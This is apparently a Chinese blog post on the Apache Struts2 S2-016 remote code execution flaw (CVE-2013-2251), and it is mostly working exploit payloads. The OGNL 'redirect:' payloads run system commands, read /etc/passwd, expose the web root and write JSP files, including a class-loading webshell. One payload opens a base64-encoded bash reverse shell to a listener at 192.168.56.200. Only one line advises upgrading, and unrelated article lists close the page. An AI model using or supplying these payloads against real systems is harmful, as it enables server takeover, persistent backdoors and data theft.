漏洞名称

S2-016(CVE-2013-2251)

通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行

利用条件

Struts 2.0.0 – Struts 2.3.15

漏洞原理

struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

漏洞利用

执行命令

poc1

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("id").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)

poc2

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

windows环境下 未测试poc

redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

读文件

redirect:${#d=new java.io.FileReader('/etc/././passwd'),#e=new java.io.BufferedReader(#d),#f=#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine()+#e.readLine(),#e.close(),#d.close(),#aaaaa=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#xxxxx=#aaaaa.getWriter(),#xxxxx.println(#f),#xxxxx.flush(),#xxxxx.close()}

获取web目录

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

写入web shell

poc1

为写入内容 尝试后只上传上去一个空文件

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("3.jsp").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

poc2

redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/x.jsp',#d=new java.io.FileWriter(#path),#d.write('test'),#d.close()}

x.html 为写入的文件名

test为写入的文件内容

写入jsp的webshell

redirect:xxxxx%{#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#path=#req.getRealPath("/")+'/2.jsp',#d=new java.io.FileWriter(#path),#d.write('<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
} public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>'),#d.close()}

在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)

编码后发送

反弹shellen

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

urlencode编码后发送

在线URLEncode编码,URLDecode解码工具 - UU在线工具 (uutool.cn)

修复建议

强烈建议升级到 Struts 2.3.15.1****,其中包含更正后的 Struts2 核心库。

参考文章

最新文章

  1. Coffeescript实现canvas时钟
  2. tomcat 解决端口8080冲突
  3. 数据库.bak文件还原报错的处理办法
  4. 第一次写python爬虫
  5. IIs站点的建立
  6. 《Genesis-3D开源游戏引擎-FQA常见问题解答》2014年01月10号版本
  7. mybatis的辅助类
  8. Genymotion如何访问本地服务器?
  9. android-Java SoftReference,WeakReference,Direct Reference简介
  10. Collecting Bugs poj2096 概率DP
  11. ligerUI---ligerGrid中treegrid(表格树)的使用
  12. allocator
  13. nginx 隐藏版本号与WEB服务器信息
  14. os与sys模块
  15. selenium操作浏览器的前进和后退
  16. export,import ,export default区别
  17. Golang的值类型和引用类型的范围、存储区域、区别
  18. 牛客网 PAT 算法历年真题 1001 : A+B和C (15)
  19. Problem A: 平面上的点——Point类 (I)
  20. Statistical Concepts and Market Returns

热门文章

  1. get,post,put,delete四种基础方法对应增删改查
  2. hyperf-搭建初始化
  3. 在vue中_this和this的区别
  4. 第一种方式:使用form表单将前端数据提交到servelt(将前端数据提交到servlet)
  5. 微服务系列之分布式日志 ELK
  6. LcdTools如何编写MIPI指令(初始化代码)
  7. 16.-admin管理后台
  8. 8_vue是如何进行数据代理的
  9. 洛谷P4168 蒲公英 分块处理区间众数模板
  10. Python中Print方法